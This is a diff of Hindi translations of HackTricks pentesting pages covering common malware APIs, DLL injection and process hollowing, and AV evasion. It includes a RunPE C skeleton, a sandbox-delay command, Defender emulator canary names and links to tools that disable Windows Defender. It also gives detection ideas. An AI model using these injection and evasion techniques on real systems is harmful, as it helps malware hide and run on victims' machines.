* **Discord Invite Hijacking** अक्सर उपयोगकर्ताओं को किसी malicious server में लुभाने के बाद उसी ClickFix तरीके का दुरुपयोग करता है:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
discord-invite-hijacking.md
|
discord-invite-hijacking.md
|
||||||
@ -85,5 +120,6 @@ discord-invite-hijacking.md
|
|||||||
|
|
||||||
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
|
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
|
||||||
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
|
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
|
||||||
|
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
# Malware में उपयोग किए जाने वाले सामान्य API
|
# मालवेयर में उपयोग किए जाने वाले Common API
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
### नेटवर्किंग
|
### नेटवर्किंग
|
||||||
|
|
||||||
| कच्चे सॉकेट | WinAPI सॉकेट्स |
|
| Raw Sockets | WinAPI Sockets |
|
||||||
| ------------- | -------------- |
|
| ------------- | -------------- |
|
||||||
| socket() | WSAStratup() |
|
| socket() | WSAStratup() |
|
||||||
| bind() | bind() |
|
| bind() | bind() |
|
||||||
@ -17,9 +17,14 @@
|
|||||||
| write() | send() |
|
| write() | send() |
|
||||||
| shutdown() | WSACleanup() |
|
| shutdown() | WSACleanup() |
|
||||||
|
|
||||||
### स्थिरता
|
### TLS pinning and chunked transport
|
||||||
|
|
||||||
| रजिस्ट्री | फ़ाइल | सेवा |
|
कई लोडर अपने TCP स्ट्रीम को `SslStream` में रैप करते हैं और सर्वर के leaf प्रमाणपत्र को embedded copy के खिलाफ पिन करते हैं (certificate pinning)। Bot जानकारी/टास्क को compress किया जाता है (उदा., `GZip`)। जब responses किसी थ्रेशहोल्ड (~1 MB) को पार कर जाते हैं, तो डेटा को size-based heuristics से बचने और deserialisation के दौरान memory spikes घटाने के लिए छोटे chunks (उदा., 16 KB segments) में विभाजित किया जाता है।
|
||||||
|
|
||||||
|
|
||||||
|
### Persistence
|
||||||
|
|
||||||
|
| Registry | File | Service |
|
||||||
| ---------------- | ------------- | ---------------------------- |
|
| ---------------- | ------------- | ---------------------------- |
|
||||||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
||||||
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
||||||
@ -27,9 +32,9 @@
|
|||||||
| RegDeleteKeyEx() | WriteFile() | |
|
| RegDeleteKeyEx() | WriteFile() | |
|
||||||
| RegGetValue() | ReadFile() | |
|
| RegGetValue() | ReadFile() | |
|
||||||
|
|
||||||
### एन्क्रिप्शन
|
### Encryption
|
||||||
|
|
||||||
| नाम |
|
| Name |
|
||||||
| --------------------- |
|
| --------------------- |
|
||||||
| WinCrypt |
|
| WinCrypt |
|
||||||
| CryptAcquireContext() |
|
| CryptAcquireContext() |
|
||||||
@ -38,32 +43,49 @@
|
|||||||
| CryptDecrypt() |
|
| CryptDecrypt() |
|
||||||
| CryptReleaseContext() |
|
| CryptReleaseContext() |
|
||||||
|
|
||||||
### एंटी-विश्लेषण/वीएम
|
### Anti-Analysis/VM
|
||||||
|
|
||||||
| फ़ंक्शन नाम | असेंबली निर्देश |
|
| Function Name | Assembly Instructions |
|
||||||
| --------------------------------------------------------- | --------------------- |
|
| --------------------------------------------------------- | --------------------- |
|
||||||
| IsDebuggerPresent() | CPUID() |
|
| IsDebuggerPresent() | CPUID() |
|
||||||
| GetSystemInfo() | IN() |
|
| GetSystemInfo() | IN() |
|
||||||
| GlobalMemoryStatusEx() | |
|
| GlobalMemoryStatusEx() | |
|
||||||
| GetVersion() | |
|
| GetVersion() | |
|
||||||
| CreateToolhelp32Snapshot \[एक प्रक्रिया चल रही है या नहीं जांचें] | |
|
| CreateToolhelp32Snapshot \[Check if a process is running] | |
|
||||||
| CreateFileW/A \[एक फ़ाइल मौजूद है या नहीं जांचें] | |
|
| CreateFileW/A \[Check if a file exist] | |
|
||||||
|
|
||||||
### छिपाव
|
### Emulator API fingerprinting & sleep evasion
|
||||||
|
|
||||||
|
Malware अक्सर sandbox emulators को fingerprint करता है by searching for Defender’s virtualised exports (जैसा कि Malware Protection Emulator में देखा गया है)। यदि इनमें से कोई भी symbol मौजूद है (process का case-insensitive स्कैन), तो execution को 10–30 मिनट के लिए देर किया जाता है और फिर से चेक किया जाता है ताकि analysis का समय बेकार किया जा सके।
|
||||||
|
|
||||||
|
Examples of API names used as canaries:
|
||||||
|
- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
|
||||||
|
- `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
|
||||||
|
- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
|
||||||
|
|
||||||
|
Typical delay primitive (user-land):
|
||||||
|
```cmd
|
||||||
|
cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
|
||||||
|
```
|
||||||
|
Argument gatekeeping
|
||||||
|
- ऑपरेटर कभी-कभी payload चलाने से पहले एक benign-देखने वाला CLI switch मौजूद होने की आवश्यकता रखते हैं (e.g., `/i:--type=renderer` ताकि Chromium child processes का नकल किया जा सके). अगर switch अनुपस्थित है, तो loader तुरंत exit कर देता है, जिससे naive sandbox निष्पादन बाधित होता है।
|
||||||
|
|
||||||
|
|
||||||
|
### Stealth
|
||||||
|
|
||||||
| नाम | |
|
| नाम | |
|
||||||
| ------------------------ | -------------------------------------------------------------------------- |
|
| ------------------------ | -------------------------------------------------------------------------- |
|
||||||
| VirtualAlloc | मेमोरी आवंटित करें (पैकर) |
|
| VirtualAlloc | मेमोरी आवंटित करें (packers) |
|
||||||
| VirtualProtect | मेमोरी अनुमति बदलें (पैकर एक अनुभाग को निष्पादन अनुमति दे रहा है) |
|
| VirtualProtect | मेमोरी अनुमतियाँ बदलें (packer द्वारा किसी सेक्शन को execution permission देना) |
|
||||||
| ReadProcessMemory | बाहरी प्रक्रियाओं में इंजेक्शन |
|
| ReadProcessMemory | बाहरी प्रोसेस में injection |
|
||||||
| WriteProcessMemoryA/W | बाहरी प्रक्रियाओं में इंजेक्शन |
|
| WriteProcessMemoryA/W | बाहरी प्रोसेस में injection |
|
||||||
| NtWriteVirtualMemory | |
|
| NtWriteVirtualMemory | |
|
||||||
| CreateRemoteThread | DLL/प्रक्रिया इंजेक्शन... |
|
| CreateRemoteThread | DLL/Process injection... |
|
||||||
| NtUnmapViewOfSection | |
|
| NtUnmapViewOfSection | |
|
||||||
| QueueUserAPC | |
|
| QueueUserAPC | |
|
||||||
| CreateProcessInternalA/W | |
|
| CreateProcessInternalA/W | |
|
||||||
|
|
||||||
### निष्पादन
|
### Execution
|
||||||
|
|
||||||
| फ़ंक्शन नाम |
|
| फ़ंक्शन नाम |
|
||||||
| ---------------- |
|
| ---------------- |
|
||||||
@ -73,72 +95,72 @@
|
|||||||
| ResumeThread |
|
| ResumeThread |
|
||||||
| NtResumeThread |
|
| NtResumeThread |
|
||||||
|
|
||||||
### विविध
|
### Miscellaneous
|
||||||
|
|
||||||
- GetAsyncKeyState() -- की लॉगिंग
|
- GetAsyncKeyState() -- Key logging
|
||||||
- SetWindowsHookEx -- की लॉगिंग
|
- SetWindowsHookEx -- Key logging
|
||||||
- GetForeGroundWindow -- चल रहे विंडो का नाम प्राप्त करें (या ब्राउज़र से वेबसाइट)
|
- GetForeGroundWindow -- चल रही विंडो का नाम प्राप्त करें (या ब्राउज़र से वेबसाइट)
|
||||||
- LoadLibrary() -- पुस्तकालय आयात करें
|
- LoadLibrary() -- लाइब्रेरी इम्पोर्ट करें
|
||||||
- GetProcAddress() -- पुस्तकालय आयात करें
|
- GetProcAddress() -- लाइब्रेरी इम्पोर्ट करें
|
||||||
- CreateToolhelp32Snapshot() -- चल रही प्रक्रियाओं की सूची
|
- CreateToolhelp32Snapshot() -- चल रहे प्रोसेस की सूची प्राप्त करें
|
||||||
- GetDC() -- स्क्रीनशॉट
|
- GetDC() -- स्क्रीनशॉट
|
||||||
- BitBlt() -- स्क्रीनशॉट
|
- BitBlt() -- स्क्रीनशॉट
|
||||||
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- इंटरनेट तक पहुँचें
|
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- इंटरनेट एक्सेस
|
||||||
- FindResource(), LoadResource(), LockResource() -- निष्पादन योग्य के संसाधनों तक पहुँचें
|
- FindResource(), LoadResource(), LockResource() -- executable के resources तक पहुँच
|
||||||
|
|
||||||
## मैलवेयर तकनीकें
|
## Malware Techniques
|
||||||
|
|
||||||
### DLL इंजेक्शन
|
### DLL Injection
|
||||||
|
|
||||||
एक मनमाना DLL को दूसरे प्रक्रिया के अंदर निष्पादित करें
|
Execute an arbitrary DLL inside another process
|
||||||
|
|
||||||
1. दुर्भावनापूर्ण DLL इंजेक्ट करने के लिए प्रक्रिया का पता लगाएं: CreateToolhelp32Snapshot, Process32First, Process32Next
|
1. मैलिशियस DLL इंजेक्ट करने के लिए लक्ष्य प्रोसेस ढूंढें: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||||
2. प्रक्रिया खोलें: GetModuleHandle, GetProcAddress, OpenProcess
|
2. प्रोसेस खोलें: GetModuleHandle, GetProcAddress, OpenProcess
|
||||||
3. प्रक्रिया के अंदर DLL का पथ लिखें: VirtualAllocEx, WriteProcessMemory
|
3. प्रोसेस के अंदर DLL का path लिखें: VirtualAllocEx, WriteProcessMemory
|
||||||
4. प्रक्रिया में एक थ्रेड बनाएं जो दुर्भावनापूर्ण DLL लोड करेगा: CreateRemoteThread, LoadLibrary
|
4. उस प्रोसेस में एक थ्रेड बनाएं जो मैलिशियस DLL को लोड करेगा: CreateRemoteThread, LoadLibrary
|
||||||
|
|
||||||
उपयोग करने के लिए अन्य फ़ंक्शन: NTCreateThreadEx, RtlCreateUserThread
|
अन्य उपयोगी फंक्शन्स: NTCreateThreadEx, RtlCreateUserThread
|
||||||
|
|
||||||
### रिफ्लेक्टिव DLL इंजेक्शन
|
### Reflective DLL Injection
|
||||||
|
|
||||||
सामान्य Windows API कॉल किए बिना एक दुर्भावनापूर्ण DLL लोड करें।\
|
Windows API के सामान्य कॉल्स को कॉल किए बिना एक मैलिशियस DLL लोड करना।\
|
||||||
DLL एक प्रक्रिया के अंदर मैप किया गया है, यह आयात पते को हल करेगा, पुनर्स्थापनाओं को ठीक करेगा और DllMain फ़ंक्शन को कॉल करेगा।
|
DLL को किसी प्रोसेस के अंदर map किया जाता है, यह import addresses को resolve करेगा, relocations को ठीक करेगा और DllMain फ़ंक्शन को कॉल करेगा।
|
||||||
|
|
||||||
### थ्रेड हाईजैकिंग
|
### Thread Hijacking
|
||||||
|
|
||||||
एक प्रक्रिया से एक थ्रेड खोजें और इसे एक दुर्भावनापूर्ण DLL लोड करने के लिए बनाएं
|
किसी प्रोसेस की एक थ्रेड ढूंढें और उसे मैलिशियस DLL लोड करने के लिए मजबूर करें
|
||||||
|
|
||||||
1. एक लक्षित थ्रेड खोजें: CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
1. लक्ष्य थ्रेड खोजें: CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
||||||
2. थ्रेड खोलें: OpenThread
|
2. थ्रेड खोलें: OpenThread
|
||||||
3. थ्रेड को निलंबित करें: SuspendThread
|
3. थ्रेड को suspend करें: SuspendThread
|
||||||
4. पीड़ित प्रक्रिया के अंदर दुर्भावनापूर्ण DLL का पथ लिखें: VirtualAllocEx, WriteProcessMemory
|
4. विक्टिम प्रोसेस के अंदर मैलिशियस DLL का path लिखें: VirtualAllocEx, WriteProcessMemory
|
||||||
5. पुस्तकालय लोड करते समय थ्रेड को फिर से शुरू करें: ResumeThread
|
5. थ्रेड को resume करें ताकि यह लाइब्रेरी लोड करे: ResumeThread
|
||||||
|
|
||||||
### PE इंजेक्शन
|
### PE Injection
|
||||||
|
|
||||||
पोर्टेबल निष्पादन इंजेक्शन: निष्पादन योग्य को पीड़ित प्रक्रिया की मेमोरी में लिखा जाएगा और वहीं से निष्पादित किया जाएगा।
|
Portable Execution Injection: executable विक्टिम प्रोसेस की memory में लिखा जाएगा और वहीं से execute किया जाएगा।
|
||||||
|
|
||||||
### प्रक्रिया खोखलीकरण (जिसे **RunPE** भी कहा जाता है)
|
### Process Hollowing (a.k.a **RunPE**)
|
||||||
|
|
||||||
`Process Hollowing` Windows मैलवेयर द्वारा उपयोग की जाने वाली पसंदीदा **रक्षा-निषेध / निष्पादन** चालों में से एक है। विचार यह है कि एक *वैध* प्रक्रिया को **निलंबित** स्थिति में लॉन्च करें, इसकी मूल छवि को मेमोरी से हटा दें (खोखली करें) और इसके स्थान पर एक **मनमाना PE** कॉपी करें। जब प्राथमिक थ्रेड अंततः फिर से शुरू होता है, तो दुर्भावनापूर्ण प्रवेश बिंदु एक विश्वसनीय बाइनरी (अक्सर Microsoft द्वारा हस्ताक्षरित) के रूप में निष्पादित होता है।
|
`Process Hollowing` Windows मालवेयर द्वारा उपयोग की जाने वाली पसंदीदा **defence-evasion / execution** ट्रिक्स में से एक है। विचार यह है कि एक legitimate प्रोसेस को **suspended** स्टेट में लॉन्च किया जाए, उसकी मूल image को memory से हटाया (hollow) जाए और उसकी जगह एक **arbitrary PE** कॉपी किया जाए। जब primary thread अंततः resume होता है तो malicious entry-point एक trusted binary के रूप में (अक्सर Microsoft द्वारा signed) execute होता है।
|
||||||
|
|
||||||
विशिष्ट कार्यप्रवाह:
|
आम कार्यप्रवाह:
|
||||||
|
|
||||||
1. एक बेनिग्न होस्ट (जैसे `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **निलंबित** करें ताकि कोई निर्देश अभी तक न चलें।
|
1. एक benign host spawn करें (e.g. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **suspended** ताकि अभी कोई instruction न चले।
|
||||||
```c
|
```c
|
||||||
STARTUPINFOA si = { sizeof(si) };
|
STARTUPINFOA si = { sizeof(si) };
|
||||||
PROCESS_INFORMATION pi;
|
PROCESS_INFORMATION pi;
|
||||||
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
|
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
|
||||||
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
||||||
```
|
```
|
||||||
2. दुर्भावनापूर्ण पेलोड को मेमोरी में पढ़ें और इसके PE हेडर को पार्स करें ताकि `SizeOfImage`, अनुभाग और नया `EntryPoint` प्राप्त किया जा सके।
|
2. मैलिशियस payload को memory में पढ़ें और उसके PE headers parse करके `SizeOfImage`, sections और नया `EntryPoint` प्राप्त करें।
|
||||||
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – निलंबित प्रक्रिया की मूल छवि आधार को अनमैप करें।
|
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – suspended प्रोसेस के original image base को unmap करें।
|
||||||
4. **VirtualAllocEx** – दूरस्थ प्रक्रिया के अंदर `SizeOfImage` की RWX मेमोरी आरक्षित करें।
|
4. **VirtualAllocEx** – remote प्रोसेस के अंदर `SizeOfImage` का RWX मेमोरी reserve करें।
|
||||||
5. **WriteProcessMemory** – पहले `Headers` की कॉपी करें, फिर अनुभागों के कच्चे डेटा की कॉपी करते हुए पुनरावृत्ति करें।
|
5. **WriteProcessMemory** – पहले `Headers` कॉपी करें, फिर sections पर iterate करते हुए उनकी raw data कॉपी करें।
|
||||||
6. **SetThreadContext** – संदर्भ संरचना में `EAX/RAX` (`RCX` x64 पर) या `Rip` के मान को पैच करें ताकि `EIP` पेलोड के `EntryPoint` की ओर इंगित करे।
|
6. **SetThreadContext** – context structure में `EAX/RAX` (`RCX` on x64) या `Rip` के मान को पैच करें ताकि `EIP` payload के `EntryPoint` की ओर इशारा करे।
|
||||||
7. **ResumeThread** – थ्रेड जारी रहता है, हमलावर द्वारा प्रदान किए गए कोड को निष्पादित करता है।
|
7. **ResumeThread** – थ्रेड जारी रहता है और हमलावर द्वारा प्रदान किया गया कोड execute होता है।
|
||||||
|
|
||||||
न्यूनतम प्रमाण-की-धारणा (x86) ढांचा:
|
Minimal proof-of-concept (x86) skeleton:
|
||||||
```c
|
```c
|
||||||
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
|
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
|
||||||
// 1. create suspended process
|
// 1. create suspended process
|
||||||
@ -164,27 +186,31 @@ SetThreadContext(pi.hThread,&ctx);
|
|||||||
ResumeThread(pi.hThread);
|
ResumeThread(pi.hThread);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Practical notes observed in the **DarkCloud Stealer** campaign:
|
व्यावहारिक टिप्पणियाँ जो **DarkCloud Stealer** कैंपेन में देखी गईं:
|
||||||
|
|
||||||
* लोडर ने `RegAsm.exe` (जो .NET Framework का हिस्सा है) को होस्ट के रूप में चुना - एक साइन किया हुआ बाइनरी जो ध्यान आकर्षित करने की संभावना नहीं है।
|
* लॉडर ने `RegAsm.exe` (.NET Framework का हिस्सा) को host के रूप में चुना – एक signed binary जो ध्यान आकर्षित होने की संभावना कम रखता है।
|
||||||
* डिक्रिप्टेड VB6 चोर (`holographies.exe`) *डिस्क पर* नहीं गिराया जाता; यह केवल खोखले प्रोसेस के अंदर मौजूद होता है, जिससे स्थैतिक पहचान करना कठिन हो जाता है।
|
* डिक्रिप्टेड VB6 stealer (`holographies.exe`) डिस्क पर *ड्रॉप* नहीं किया जाता; यह केवल hollowed process के अंदर मौजूद रहता है, जिससे static detection कठिन हो जाती है।
|
||||||
* संवेदनशील स्ट्रिंग्स (regexes, paths, Telegram credentials) को **RC4-एन्क्रिप्टेड** किया जाता है प्रति-स्ट्रिंग और केवल रनटाइम पर डिक्रिप्ट किया जाता है, जिससे मेमोरी स्कैनिंग और जटिल हो जाती है।
|
* संवेदनशील स्ट्रिंग्स (regexes, paths, Telegram credentials) प्रति-स्ट्रिंग **RC4-encrypted** हैं और केवल runtime पर डिक्रिप्ट होती हैं, जिससे memory scanning और जटिल हो जाता है।
|
||||||
|
|
||||||
Detection ideas:
|
Detection ideas:
|
||||||
* `CREATE_SUSPENDED` प्रोसेस पर अलर्ट करें जो कभी भी GUI/कंसोल विंडो नहीं बनाते हैं इससे पहले कि एक मेमोरी क्षेत्र **RWX** के रूप में आवंटित किया जाए (जो कि बेनिग कोड के लिए दुर्लभ है)।
|
* ऐसे `CREATE_SUSPENDED` प्रोसेसेस पर अलर्ट करें जो GUI/console विंडो कभी नहीं बनाते और फिर एक memory region को **RWX** के रूप में allocate किया जाता है (benign कोड के लिए यह दुर्लभ है)।
|
||||||
* विभिन्न प्रोसेस में `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` कॉल अनुक्रम की तलाश करें।
|
* विभिन्न प्रोसेसेस में कॉल सीक्वेंस `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` की तलाश करें।
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Hooking
|
## Hooking
|
||||||
|
|
||||||
- **SSDT** (**System Service Descriptor Table**) कर्नेल फ़ंक्शंस (ntoskrnl.exe) या GUI ड्राइवर (win32k.sys) की ओर इशारा करता है ताकि उपयोगकर्ता प्रक्रियाएँ इन फ़ंक्शंस को कॉल कर सकें।
|
- The **SSDT** (**System Service Descriptor Table**) kernel functions (ntoskrnl.exe) या GUI driver (win32k.sys) की ओर पॉइंट करता है ताकि user processes इन फ़ंक्शन्स को कॉल कर सकें।
|
||||||
- एक रूटकिट इन प्वाइंटर्स को उन पते पर संशोधित कर सकता है जिन्हें वह नियंत्रित करता है।
|
- एक rootkit इन pointers को उन एड्रेसेस पर संशोधित कर सकता है जिन्हें वह नियंत्रित करता है
|
||||||
- **IRP** (**I/O Request Packets**) डेटा के टुकड़ों को एक घटक से दूसरे घटक में संचारित करता है। कर्नेल में लगभग सब कुछ IRPs का उपयोग करता है और प्रत्येक डिवाइस ऑब्जेक्ट की अपनी फ़ंक्शन तालिका होती है जिसे हुक किया जा सकता है: DKOM (Direct Kernel Object Manipulation)
|
- **IRP** (**I/O Request Packets**) एक कंपोनेंट से दूसरे को डेटा के टुकड़े ट्रांसमिट करते हैं। kernel में लगभग हर चीज IRPs उपयोग करती है और प्रत्येक device object का अपना function table होता है जिसे hook किया जा सकता है: DKOM (Direct Kernel Object Manipulation)
|
||||||
- **IAT** (**Import Address Table**) निर्भरताओं को हल करने के लिए उपयोगी है। इस तालिका को हुक करना संभव है ताकि उस कोड को हाईजैक किया जा सके जिसे कॉल किया जाएगा।
|
- The **IAT** (**Import Address Table**) dependencies को resolve करने के काम आता है। इस table को hook करना संभव है ताकि कॉल होने वाले कोड को hijack किया जा सके।
|
||||||
- **EAT** (**Export Address Table**) हुक। ये हुक **यूजरलैंड** से किए जा सकते हैं। लक्ष्य DLLs द्वारा निर्यातित फ़ंक्शंस को हुक करना है।
|
- **EAT** (**Export Address Table**) Hooks। ये hooks **userland** से किए जा सकते हैं। लक्ष्य DLLs द्वारा exported functions को hook करना है।
|
||||||
- **Inline Hooks**: इस प्रकार को प्राप्त करना कठिन है। इसमें फ़ंक्शंस के कोड को संशोधित करना शामिल है। शायद इसके शुरुआत में एक जंप डालकर।
|
- **Inline Hooks**: यह प्रकार हासिल करना कठिन है। इसमें स्वयं फ़ंक्शन्स के कोड में संशोधन शामिल होता है। संभवतः शुरुआत में एक jump डालकर।
|
||||||
|
|
||||||
## References
|
|
||||||
|
## संदर्भ
|
||||||
|
|
||||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||||
|
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -2,147 +2,144 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**यह पेज लिखे गए हैं** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
**This page was written by** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||||
|
|
||||||
## Stop Defender
|
## Stop Defender
|
||||||
|
|
||||||
- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender को काम करना बंद करवाने के लिए एक टूल।
|
- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender को काम करने से रोकने का एक टूल।
|
||||||
- [no-defender](https://github.com/es3n1n/no-defender): दूसरे AV बनाकर Windows Defender को काम करना बंद करवाने वाला टूल।
|
- [no-defender](https://github.com/es3n1n/no-defender): एक टूल जो किसी और AV का नाटक करके Windows Defender को काम करने से रोकता है।
|
||||||
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
|
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
|
||||||
|
|
||||||
## **AV Evasion Methodology**
|
## **AV Evasion Methodology**
|
||||||
|
|
||||||
वर्तमान में, AVs किसी फाइल को मैलिशियस मानने के लिए अलग-अलग तरीके इस्तेमाल करते हैं — static detection, dynamic analysis, और अधिक एडवांस EDRs के लिए behavioural analysis।
|
वर्तमान में, AVs यह तय करने के लिए अलग-अलग तरीके उपयोग करते हैं कि कोई फ़ाइल malicious है या नहीं — static detection, dynamic analysis, और अधिक advanced EDRs के लिए behavioural analysis।
|
||||||
|
|
||||||
### **Static detection**
|
### **Static detection**
|
||||||
|
|
||||||
Static detection उन मालिशियस strings या byte arrays को फ्लैग करके होता है जो किसी binary या script में मिलते हैं, और फाइल से खुद जानकारी निकालकर भी (जैसे file description, company name, digital signatures, icon, checksum, आदि)। इसका मतलब यह है कि public tools का इस्तेमाल आपका पता जल्दी लगा सकता है, क्योंकि उन्हें सम्भवतः पहले ही analyse करके malicious के रूप में चिन्हित किया जा चुका होगा। इस तरह की detection से बचने के कुछ तरीके हैं:
|
Static detection उन जाने-पहचाने malicious strings या byte arrays को flag करके और फ़ाइल से जानकारी निकालकर हासिल की जाती है (जैसे file description, company name, digital signatures, icon, checksum, आदि)। इसका मतलब है कि सार्वजनिक तौर पर उपलब्ध tools का उपयोग करने पर आपको पकड़ना आसान हो सकता है, क्योंकि उन्हें शायद पहले से analyze करके malicious के रूप में चिन्हित किया गया होगा। इस तरह की detection से बचने के कुछ तरीके हैं:
|
||||||
|
|
||||||
- **एन्क्रिप्शन**
|
- **Encryption**
|
||||||
|
|
||||||
अगर आप binary को एन्क्रिप्ट कर देते हैं, तो AV को आपके प्रोग्राम का पता नहीं चलेगा, लेकिन आपको किसी loader की ज़रूरत पड़ेगी जो प्रोग्राम को memory में decrypt करके चलाए।
|
अगर आप binary को encrypt कर देते हैं, तो AV के लिए आपके प्रोग्राम को detect करना मुश्किल होगा, लेकिन आपको प्रोग्राम को memory में decrypt और run करने के लिए किसी loader की ज़रूरत पड़ेगी।
|
||||||
|
|
||||||
- **Obfuscation**
|
- **Obfuscation**
|
||||||
|
|
||||||
कभी-कभी बस आपकी binary या script की कुछ strings बदल देने से AV को पार किया जा सकता है, पर यह निर्भर करता है कि आप क्या obfuscate कर रहे हैं — कभी-कभी यह टाइम-खपत काम हो सकता है।
|
कभी-कभी बस अपने binary या script के कुछ strings बदल देने से AV से पार मिल जाता है, लेकिन यह उस चीज़ पर निर्भर करते हुए समय लेने वाला हो सकता है जिसे आप obfuscate करना चाह रहे हैं।
|
||||||
|
|
||||||
- **Custom tooling**
|
- **Custom tooling**
|
||||||
|
|
||||||
अगर आप अपने खुद के tools बनाते हैं तो कोई known bad signatures नहीं होंगे, पर यह बहुत समय और मेहनत मांगता है।
|
अगर आप अपने खुद के tools विकसित करते हैं, तो कोई known bad signature नहीं होगा, लेकिन इसके लिए बहुत समय और मेहनत चाहिए।
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Windows Defender की static detection के खिलाफ चेक करने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूलतः फाइल को कई segments में बाँट देता है और फिर Defender को हर segment अलग से scan करने को कहता है — इस तरह यह आपको बता सकता है कि आपकी binary में कौन-सी strings या bytes फ्लैग हो रही हैं।
|
> Windows Defender की static detection के खिलाफ चेक करने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूलतः फ़ाइल को कई segments में बाँटता है और फिर Defender को प्रत्येक segment अलग से scan करने देता है; इस तरह यह आपको बता सकता है कि आपके binary में कौन-कौन सी strings या bytes flagged हैं।
|
||||||
|
|
||||||
मैं आपको practical AV Evasion के बारे में यह [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) ज़रूर देखने की सलाह देता हूँ।
|
मैं सलाह दूँगा कि आप practical AV Evasion के बारे में यह [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) देखें।
|
||||||
|
|
||||||
### **Dynamic analysis**
|
### **Dynamic analysis**
|
||||||
|
|
||||||
Dynamic analysis तब होती है जब AV आपकी binary को sandbox में चलाकर मालिशियस गतिविधि देखता है (जैसे ब्राउज़र के passwords decrypt करके पढ़ना, LSASS पर minidump लेना, आदि)। यह हिस्सा थोड़ा trickier हो सकता है, लेकिन sandboxes से बचने के लिए आप कुछ चीज़ें कर सकते हैं।
|
Dynamic analysis तब होती है जब AV आपका binary किसी sandbox में चलाकर malicious activity पर नज़र रखता है (उदाहरण: browser के passwords decrypt करके पढ़ने की कोशिश करना, LSASS का minidump लेना, आदि)। इस हिस्से के साथ काम करना थोड़ा ज़्यादा tricky हो सकता है, लेकिन sandboxes से बचने के लिए आप कुछ चीज़ें कर सकते हैं।
|
||||||
|
|
||||||
- **Sleep before execution**
|
